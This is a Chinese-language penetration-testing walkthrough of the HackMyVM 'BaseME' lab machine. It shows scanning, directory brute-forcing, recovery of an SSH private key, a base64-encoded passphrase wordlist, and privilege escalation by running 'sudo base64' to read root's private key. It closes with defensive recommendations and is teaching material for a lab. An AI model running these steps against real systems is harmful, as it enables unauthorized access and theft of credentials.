hackmyvm系列7——BaseME
字数 1040 2025-08-12 11:34:21

BaseME靶场渗透测试教学文档

1. 靶场概述

BaseME是一个基于Web和SSH的渗透测试靶场,主要考察以下技能:

  • 信息收集与枚举
  • Base64编码/解码技术
  • 目录爆破
  • SSH私钥利用
  • 权限提升技术

2. 信息收集阶段

2.1 网络扫描

netdiscover -r 192.168.56.0/24

确定目标IP地址为192.168.56.169

2.2 端口扫描与服务识别

nmap -sV -Pn -sC -A 192.168.56.169

扫描结果显示开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP

3. Web应用渗透

3.1 网页内容分析

访问http://192.168.56.169/,发现页面包含编码后的信息

3.2 Base64解码

对页面信息进行解码,获得关键用户名:

  • 用户名:lucas

页面提示:所有密码尝试都需要进行Base64编码

3.3 目录爆破

使用gobuster进行目录枚举:

gobuster dir -u http://192.168.56.169/ -w dic.txt

发现关键文件,下载后进行Base64解码:

base64 -d aWRfcnNhCg== > a.txt

解码结果是一个SSH私钥文件(id_rsa)

4. SSH渗透

4.1 尝试SSH登录

使用获得的用户名和私钥:

ssh lucas@192.168.56.169 -i a.txt

发现需要私钥密码

4.2 密码爆破

根据页面提示,所有密码尝试需要Base64编码,准备以下密码字典:

原始密码列表:

  • iloveyou
  • youloveyou
  • shelovesyou
  • helovesyou
  • weloveyou
  • theyhatesme

转换为Base64编码:

echo -n "iloveyou" | base64  # aWxvdmV5b3U=
echo -n "youloveyou" | base64  # eW91bG92ZXlvdQ==
echo -n "shelovesyou" | base64  # c2hlbG92ZXN5b3U=
echo -n "helovesyou" | base64  # aGVsb3Zlc3lvdQ==
echo -n "weloveyou" | base64  # d2Vsb3ZleW91
echo -n "theyhatesme" | base64  # dGhleWhhdGVzbWU=

使用编码后的密码成功登录SSH

5. 权限提升

5.1 检查sudo权限

sudo -l

发现base64可以以root身份无密码运行

5.2 利用base64读取root私钥

sudo -u root base64 /root/.ssh/id_rsa > a.txt

5.3 解码私钥

base64 -d a.txt > b.txt

5.4 设置适当权限并登录

chmod 600 b.txt
ssh root@127.0.0.1 -i b.txt

成功获取root权限

6. 关键知识点总结

  1. Base64编码/解码

    • 编码:echo -n "text" | base64
    • 解码:base64 -d file
  2. 目录爆破

    • 使用gobuster等工具枚举Web目录
    • 注意隐藏文件和非常规文件扩展名
  3. SSH私钥利用

    • 私钥文件通常需要600权限
    • 使用-i参数指定私钥文件
  4. 权限提升技巧

    • 始终检查sudo -l输出
    • 利用可执行命令读取敏感文件
    • 注意命令的参数注入可能性
  5. 靶场特定技巧

    • 注意页面提示信息(如密码需要Base64编码)
    • 关注文件权限和可执行命令的滥用可能性

7. 防御建议

  1. 限制sudo权限,避免无密码执行敏感命令
  2. 对SSH私钥设置强密码
  3. 避免在Web目录存放敏感文件
  4. 监控系统日志中的异常登录尝试
  5. 定期检查系统上的setuid和sudo权限配置
BaseME靶场渗透测试教学文档 1. 靶场概述 BaseME是一个基于Web和SSH的渗透测试靶场,主要考察以下技能: 信息收集与枚举 Base64编码/解码技术 目录爆破 SSH私钥利用 权限提升技术 2. 信息收集阶段 2.1 网络扫描 确定目标IP地址为192.168.56.169 2.2 端口扫描与服务识别 扫描结果显示开放端口: 22/tcp - SSH 80/tcp - HTTP 3. Web应用渗透 3.1 网页内容分析 访问http://192.168.56.169/,发现页面包含编码后的信息 3.2 Base64解码 对页面信息进行解码,获得关键用户名: 用户名:lucas 页面提示:所有密码尝试都需要进行Base64编码 3.3 目录爆破 使用gobuster进行目录枚举: 发现关键文件,下载后进行Base64解码: 解码结果是一个SSH私钥文件(id_ rsa) 4. SSH渗透 4.1 尝试SSH登录 使用获得的用户名和私钥: 发现需要私钥密码 4.2 密码爆破 根据页面提示,所有密码尝试需要Base64编码,准备以下密码字典: 原始密码列表: iloveyou youloveyou shelovesyou helovesyou weloveyou theyhatesme 转换为Base64编码: 使用编码后的密码成功登录SSH 5. 权限提升 5.1 检查sudo权限 发现base64可以以root身份无密码运行 5.2 利用base64读取root私钥 5.3 解码私钥 5.4 设置适当权限并登录 成功获取root权限 6. 关键知识点总结 Base64编码/解码 : 编码: echo -n "text" | base64 解码: base64 -d file 目录爆破 : 使用gobuster等工具枚举Web目录 注意隐藏文件和非常规文件扩展名 SSH私钥利用 : 私钥文件通常需要600权限 使用 -i 参数指定私钥文件 权限提升技巧 : 始终检查 sudo -l 输出 利用可执行命令读取敏感文件 注意命令的参数注入可能性 靶场特定技巧 : 注意页面提示信息(如密码需要Base64编码) 关注文件权限和可执行命令的滥用可能性 7. 防御建议 限制sudo权限,避免无密码执行敏感命令 对SSH私钥设置强密码 避免在Web目录存放敏感文件 监控系统日志中的异常登录尝试 定期检查系统上的setuid和sudo权限配置